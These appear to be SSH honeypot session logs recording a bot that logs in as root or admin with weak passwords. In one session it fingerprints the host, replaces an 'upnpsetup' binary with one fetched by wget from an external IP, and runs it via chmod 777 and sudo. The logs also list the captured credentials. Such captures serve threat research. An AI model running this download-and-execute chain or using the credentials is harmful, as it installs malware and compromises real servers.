{"id":"e315edee-bc96-40df-9314-d274dc6ed22b","name":"gritty-emerald-oriole","protocol":"ssh","channel_kind":"exec","src_ip":"118.70.126.245","src_port":50283,"username":"root","client_version":"SSH-2.0-libssh_0.9.5","auth_attempts":1,"automation":"bot","think_ms":999,"probe_flagged":0,"exec_command":"uname -a","started_at":"2026-08-27T03:58:25.659779+00:00","ended_at":"2026-08-27T03:58:27.147438+00:00","ended_reason":"exec complete","commands":8,"transcript_bytes":339,"events":[{"seq":1,"at":"2026-08-27T03:57:44.908104+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":2,"at":"2026-08-27T03:57:44.909634+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":3,"at":"2026-08-27T03:57:45.655149+00:00","kind":"input","latency_ms":null,"data":"hostname"},{"seq":4,"at":"2026-08-27T03:57:45.655717+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":5,"at":"2026-08-27T03:57:46.405732+00:00","kind":"input","latency_ms":null,"data":"uname -m&&pkill upnpsetup"},{"seq":6,"at":"2026-08-27T03:57:47.514766+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-27T03:57:48.519213+00:00","kind":"input","latency_ms":null,"data":"rm ./upnpsetup"},{"seq":8,"at":"2026-08-27T03:57:49.347238+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T03:57:50.348078+00:00","kind":"input","latency_ms":null,"data":"wget -nc http://45.87.174.8/k.php?a=,X23YQ221AM7JSY2FH -O ./upnpsetup"},{"seq":10,"at":"2026-08-27T03:57:50.829513+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T03:57:51.830276+00:00","kind":"input","latency_ms":null,"data":"chmod 777 ./upnpsetup"},{"seq":12,"at":"2026-08-27T03:57:52.307339+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T03:57:53.305808+00:00","kind":"input","latency_ms":null,"data":"sudo ./upnpsetup"},{"seq":14,"at":"2026-08-27T03:57:53.906814+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T03:58:25.661195+00:00","kind":"input","latency_ms":null,"data":"./upnpsetup"},{"seq":16,"at":"2026-08-27T03:58:26.200398+00:00","kind":"output","latency_ms":null,"data":"-bash: upnpsetup: command not found"}],"credentials":[{"username":"root","password":"Qwerty1","method":"password","accepted":true,"tier":"other"}]}
{"id":"d933e785-bd96-4468-ac1a-310d3cd89af3","name":"early-mindful-bison","protocol":"ssh","channel_kind":null,"src_ip":"118.70.126.245","src_port":50183,"username":"root","client_version":"SSH-2.0-libssh_0.9.5","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T03:57:42.458817+00:00","ended_at":"2026-08-27T03:57:42.783391+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"Qwerty1","method":"password","accepted":true,"tier":"other"}]}
{"id":"4daac0b9-d6f9-47a9-9fab-20b29ed3edae","name":"craggy-smoky-llama","protocol":"ssh","channel_kind":null,"src_ip":"118.70.126.245","src_port":50072,"username":"admin","client_version":"SSH-2.0-libssh_0.9.5","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T03:57:40.755665+00:00","ended_at":"2026-08-27T03:57:41.234033+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"NoPassGst1234","method":"password","accepted":true,"tier":"other"}]}